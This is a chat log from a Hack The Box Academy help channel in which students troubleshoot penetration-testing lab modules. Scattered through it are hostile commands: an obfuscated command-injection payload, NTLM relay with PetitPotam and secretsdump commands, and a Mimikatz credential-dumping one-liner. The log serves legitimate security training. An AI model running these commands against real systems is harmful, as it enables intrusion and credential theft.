[cloud urchin]

It's in the CJCA path though

[sharp notch]

yeah thats why im like hmm

because it looks like some foundational info , but maybe pentester has that same foundational info or different

still trying to wrap my head around how my girl has fiber for 50$ and im paying 290 to optimum for 300mbps download

[cloud urchin]

One is a module that gives you an overview. The path is a lot more than that, it's 28 modules as a whole. It teaches you how to network pentest.

[sharp notch]

ahh okay

makes sense

more in depth

[cloud urchin]

much much more

[sharp notch]

was trying to pick between the 2 all day but i think pentester is gonna be the move

jcsa im like 43% done because of the fundamentals thats why i considered tbh

[little terrace]

hi im trying to do password attacks and it requires me to rdp in. but when i rdp in and try to execute 1 command (reg.exe), it just crashes the rdp session

[gaunt willow]

Also currently doing the password attacks assessment and having a very tough time mounting an SMB share. any advice?

[warped sluice]

Hi nothing else

[cloud urchin]

There are many ways to transfer files if that's what you're trying to do. I like transferring via xfreerdp with the /drive parameter. you could also transfer over a python http server easily. as for smb, you could ask chatgpt for the syntax

[gaunt willow]

well, the main issue is that I can enumerate it all with nxc, but then when I try to mount an SMB share it tells me the password is incorrect

Which doesn't make any sense whatsoever

[cloud urchin]

maybe try wrapping it in single quotes

[gaunt willow]

doesn't work

[fathom pendant]

why are you trying to mount the smb share instead of just using smbclient to access it?

or accessing it from the rdp session itself and copying/moving the file from there

[gaunt willow]

I’m trying to use smbclient, and xfreerdp doesn’t want to copy/paste for some reason. That’s where I’m at. But it constantly tells me I’m using the wrong creds when using smbclient, which is not true.

I’m sorry, I’m just very frustrated with how HTB does things. I am able to use the solutions text for little bumps/nudges but it’s absolutely infuriating when I go through a module, and in classic HTB style, the solution shows to use some random other tool that was never mentioned in the text. The instructions literally say to gain access to the DMZ and then use the cheat sheet for pivoting. so I do that. But, smbclient and proxy chains don’t work well together apparently. So I look in the solution for a bump, and I see this whole essay on using ligolo-ng (spelling may be wrong).

I’m completely understanding of the fact that pentesting isn’t clear cut. 100% get that. But there is some understandable expectations that the learning material and assessments will test on what was actually taught and not simply bring up random tools never previously mentioned.

Again, I’m not meaning that towards anyone. Just super frustrated because I’ve been stuck in this damn assessment for days, and I feel extremely defeated by stupid pieces that really aren’t even the hardest parts (or shouldn’t be, rather).

[cloud urchin]

Like I said, there are many ways. You said you were using nxc, why not just use that to upload/download?

are you using a vm or the pwnbox?

[gaunt willow]

I think because I just assumed nxc was for enumeration only. Using dedicated laptop

[cloud urchin]

wrong password is a pretty straightforward error, could be something else wrong on your end.

so there could be a version difference in tools too. you could see if it works on the pwnbox.

[gaunt willow]

Well, isn’t a wrong password. Turns out I wasn’t using proper domain name (just spied that in the enumeration output)

[cloud urchin]

well there you go, bad authorization

so the creds were wrong

[gaunt willow]

Have you finished this module? Any advice you can provide otherwise?

[cloud urchin]

I haven't gone through the new updated one

[gaunt willow]

Okay.

[cloud urchin]

maybe make sure to take breaks keep that mind fresh would be a tip haha

[gaunt willow]

Okay

[full echo]

Look at the hint Use the command adb shell ls -l /full/path/

Hi, I am in the Command Injections modules in the Advanced Command Obfuscation section, in the Case Manipulation subchapter I am having trouble getting the following to work on the server:

ip=127.0.0.1%0a$(a="WhOaMi"${LS_COLORS:10:1}printf%09%s%09"${a,,}")

HTB Academy – SCCM Site Takeover II (Quest 2)
Goal: use the SCCM01$ hash to read \LAB-DC\SCCMShare\SCCMServer01\flag.txt.

Setup: ligolo working; ntlmrelayx -socks targeting 172.50.0.21; ran PetitPotam → got a session only for LAB/SCCM02$@172.50.0.21(445).
Issue: no session for 172.50.0.10 (DC); direct connect over ligolo with
smbclient.py 'LAB/SCCM01$'@172.50.0.10 -hashes ... fails.

Questions:

Should I spin up a second ntlmrelayx against 172.50.0.10 and rerun PetitPotam, or should it work directly via ligolo?

Can you confirm the exact share path is SCCMShare\SCCMServer01 on the DC?

Any tip to reliably force SCCM01$ to authenticate to the relay targeting the DC?

Thanks! 🙏

[sweet jewel]

whats the command you ran for ntlmrelayx.py and smbclient.py?

[sweet jewel]

referring to this

[hollow ermine]

python3 examples/ntlmrelayx.py -t 172.50.0.21 -smb2support -socks --no-http-server

[sweet jewel]

it looks like a syntax problem with -socks, you need to be quite explicit with the username and ip

you can run ntlmrelayx.py with --interactive if you really don't want to deal with that

eh? what are you trying to achieve?

[hollow ermine]

The access to the shares

[sweet jewel]

your ntlmrelayx.py will wrap whatever connection you use with SCCM02$, you can't chain that with the hash of SCCM01$

you should be coercing authentication from SCCM01$ to yourself, then using that connection to access \\LAB-DC\SCCMShare

[hollow ermine]

if i try with SCCM01$ it doesnt work, let me see u the error

This one work: sudo proxychains secretsdump.py 'LAB/SCCM02$'@172.50.0.21 -no-pass

[sweet jewel]

yeah but your goal isn't to dump SAM on the DC, it's to access the share

I know...so i have to restart the ntlmrelay server for SCCM01 instead SCCM02?

Hi, in HTB CBBH - Web Attacks Module - Chaining IDOR Vulnerabilities

With our new role, we may also perform mass assignments to change specific fields for all users, like placing XSS payloads in their profiles or changing their email to an email we specify. Try to write a script that changes all users' email to an email you choose.. You may do so by retrieving their uuids and then sending a PUT request for each with the new email.

I have problem making this scripts, has anyone succeeded in making it?

Are you positive that port 22 is open and accessible?

[static shadow]

I need help solving this question form HTB academy

https://academy.hackthebox.com/module/136/section/1291

Its from file upload attacks , I tried upload XSS payload and XXE payloads , it did got successfully uploaded but i dont know how to trigger the uploaded file , Also i dont think the payload is working as there is no output in source code

[untold knot]

I did a nmap scan for port 22 and it shows open. And when you look at the ssh debug output you see that there is a connection, but the connection is closed.

[untold knot]

I have a solution: ssh -c aes256-ctr htb-student@10.129.40.207
There was a problem with the algorithm. And with the command above another algorithm for encryption is used, that solved the problem.

[autumn pilot]

From the output you can see something related to SCCM01, if you use it to authenticate to the SMB service on the appropriate host, I believe it will work

[static shadow]

Hey !

I tried the given payload in the module and updated the file:///flag.txt , it did got uploaded but nothing in source code

thats what im lacking , i cant confirm , all i get is file is uploaded but that can be false positive right ?

can you guide me how can i confirm or trigger the payload ? i dont have file location as well where my file is being uploaded

[tranquil breach]

you can try first with well-known file like /etc/passwd.
After you upload a good payload, you can ge the result by inspecting the web page ( at location where your image is displayed)

Question: I have been trying for a while now to tunnel using ssh with the following command ssh -D 9050 STIMP, which seems to work fine, however I just can't seem to tunnel through to the internal IP 172.16.5.129, I have tried multiple things and config's, and the one time I did manage to run an nmap scan with proxychains all the ports appeared as filtered. The goal is to tunnel through ssh and connect to the remote host using xfreerdp but I just can't establish a connection.

[safe star]

That’s what I did

Just used ligolo to reach the other network and tcp-pivot implants to connect the c2 back since ligolo can’t redirect sliver traffic

[fathom pendant]

it's fairly normal, if you got the upload source leaked, pay closer attention to the file location and file name. php -r can be used to run php code locally, so you can experiment with things -- replacing any values that would be like $file with a fake value

[tranquil breach]

Yahh . I already found the file location.
I found where my uploaded files are stored, but what next!
I can't exec code with my uploaded file even if I can request them

Im on "Hacking Wordpress" skill assesment and Im struggling with even just the first question of "whats the wordpress version number" Ive tried curl + grep and Ive tried manually looking at the source code yet I cant seem to find it, the only meta, link, and script tags are shown in the screenshot and from the HTB module those are the primary ways to find the version number

the fact that trying to look it up has no forum posts or write ups makes me assume its something im doing very wrong Managed to figure it out on my own but I dont get why it would work like this || found "blog.inlanefreight.local" in the source code and added it to my DNS since it mentioned youll need to know that and through that page I found the version info ||

am i supposed to play with the wpscan's parameters and find some other vuln?

I have been running into a consistent problem transferring files from my kali attack host to module lab machines. Every time I try to transfer either to a Windows machine over SMB or any other method, the lab machine crashes or in the case of all Linux lab machines, it stalls forever as pictured, then the lab crashes after about 5 minutes or less.

What I have tried:

• only using TCP vpn
• resetting my kali machine
• resetting the vpn
• updating ovpn file as instructed
• changing servers (all have the same problem so far as I can tell)
• checking if OVPN is up to date
• testing on multiple lab machines
• tested MTU

This looks to me like an issue for support since I've seen others who are having the same issues and tried what I have. Currently I'm trying to study for the CPTS exam and this is hampering my ability to learn. I have paid for an annual subscription so I expect this issue to get resolved as soon as possible. Thanks for the attention to this matter.

I am experiencing some pain on the skills assessment of the Network Foundations module...

I've followed the steps exactly, and yet when I try to connect to FTP on the target machine I get Connection refused.

The instructions to find the dynamic port for FTP are to multiply p1 by 256 and add p2. For me that looks like: Passive Mode (10,129,41,16,194,11).

So, 194*256+11 = 49675... that should be my dynamic port to establish the connection. And yet nc -v <target ip> 49675 yields me the error 49675 (?) : Connection refused, and thus I cannot continue the lab. Any help would be greatly appreciated!

EDIT: Got it to work by restarting the environment. No lessons learned, not sure why that behavior was happening...

Hi, I'm doing the 'Stack-Based Buffer Overflows on Windows x86' module from the 'Intro to Binary Exploitation' path, and I'm struggling to understand the 'Identifying Bad Characters' section.

The course states:

The output we seek is where all bytes from both locations are the same, with no differences whatsoever. However, we see that after the first character, 00, all remaining bytes are different. 
This indicates that 0x00 truncated the remaining input, and hence it should be considered a bad character.

Is this referring to the difference between the ByteArray_1.bin file and the output of the ERC --compare <ESP VALUE> C:\Users\htb-student\Desktop\ByteArray_1.bin command in DBG? Please correct me if I'm wrong.
Also, can a program have several different bad characters?

HTTP ERROR 500 )

[static shadow]

is it normal to have GET request in the skill assessment section from FILE UPLOAD attacks module ? . Im trying to upload file but its not a POST request

[tight kraken]

Sounds like you've got the concept! Just to restate it:
The output of ERC --compare... is a line-by-line comparison of the clean ByteArray ("From Array") to what was actually written into memory at ESP ("From Memory Region"). Memory will match the clean byte array up until the point where a bad character messed it up.

We'll often encounter multiple bad characters while working on a single buffer overflow. Some of these bad characters arise from the nature of the program itself-- for example 0x00, a string termination character in assembly, C/C++, etc. Other characters can be "bad" as a consequence of the way the exploit is delivered, e.g. 0x0D is a return (\r) character in an HTTP POST request.

The process of finding bad characters is an iterative one. At the first point where ESP differs from the clean byte array, we can't trust the alignment of anything that comes after. We remove the bad character that started the chain reaction, loop through the process with a new byte array, another comparison, rinse and repeat until there are no differences between memory and the clean byte array (as shown in the debugger output).

That said, there's a short list of characters which are frequent offenders (like those mentioned above, plus more highlighted in the module). We can save a lot of time by just excluding these from the start, assuming they're likely to be bad. Then we can manually eliminate the more exotic characters if needed.

Connect via RDP and use Mimikatz located in c:\tools to extract the hashes presented in the current session. What is the NTLM/RC4 hash of David's account?
C:\tools\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
Can't find user david. But I can find user julio.
Am I doing anything wrong or could this be a failure in the machine?

I encountered a problem about section 'RDP and SOCKS Tunneling with SocksOverRDP' in the module Pivoting Tunneling and Port Forwarding

Use the concepts taught in this section to pivot to the Windows server at 172.16.6.155 (jason:WellConnected123!). Submit the contents of Flag.txt on Jason's Desktop.
Hint
Jason is a local account and a Defender may try to stand in your way.

My problem is in the last step

[eager spindle]

Someone can help me with MSSQL, Exchange, and SCCM Attacks - Skill Assessment QUEST 4? I have a problem that i cant reach the SCCM db in 172.16.20.50

[hollow ermine]

Nevermind, i solved

[azure turtle]

im on this question What is the username of the third user (id=3)? from Information Disclosure (with a twist of SQLi). I'm 99% i have the right answer i even got the answer to the second question on that same section which is strange. I'm not sure if something is broken or if i am really just wrong

Edit: something was just glitched out it just wasn't showing up for some reason

[fiery trench]

Anyone available to give a nudge on Advanced SQL Injections Skills Assessment Q1?

I'm able to find the endpoint that contains the SQLi and I have a base point on a boolean response bypassing the validation, however, as I try to come up with another true or false test poking at the database itself they all comeback as false.

Hello, obiora

[cosmic sentinel]

Hi everyone,
in the Pentest in a Nutshell module -> Linux Information Gathering section https://academy.hackthebox.com/module/296/section/3394
when enumerating wordpress i copy the exact same command but my output doesnt show the theme and the vulnerable plugin.

[cosmic sentinel]

this is on my own parrot vm, i have also tried it on the pwnbox and its the same

[sacred rock]

Have you taken a look at the website's source code?

[river grove]

You can dm me 🙂

[cosmic sentinel]

yes i have solved the skills assessment by checking the source code, sorry if my message was unclear but i want to know why the output is not the same as the module.

[eager spindle]

can anyone help me ?

[hollow kernel]

You need to rdp to the 172.16.5.19 first and Star socks5overdp.exe with Victor credentials
Then You can pivot to the second rdp ip

Is a double pivot

[wind gust]

for Unconstrained Delegation - Users . Im trying to RDP with the creds provided but its not workinng. Anyone knows why ?

[gray yacht]

Did you verify the credentials authenticate to RDP with netexec?

[eager spindle]

I did this step

[eager spindle]

can I DM you

[hollow kernel]

Yes no problem

[ember dew]

What channel should I go to if I am having an issue solving a challenge. I seem to be doing everything correctly. I checked the write-up to be sure and it still isn't working.

[gray yacht]

If it is related to an Academy module, you can post here, but if not, read over #welcome and #rules to get access to more channels. You can then access other channels that might be relevant to your issue.

[lapis delta]

i've had the same problem - think that might be an error in the module @cosmic sentinel

[sacred rock]

Not an error in the module, either adding the domain to the/etc/hosts file and running it against the domain name. Alternatively, running against the IP with -e at would also work.

[minor hinge]

Web Attacks IDOR Challenge machines have a bad response time can someone check if that is true also for you?

Hi everyone! Can someone help out with a question?

I am in the Password Attack Module and have been doing good pretty farm but cannot retrieve the flag after login in ftpuser

any pointers?

[cosmic sentinel]

after adding the IP to the hosts file it does show the theme and another plugin but still not the actual vulnerable one.
also the modules uses the IP address in the command.
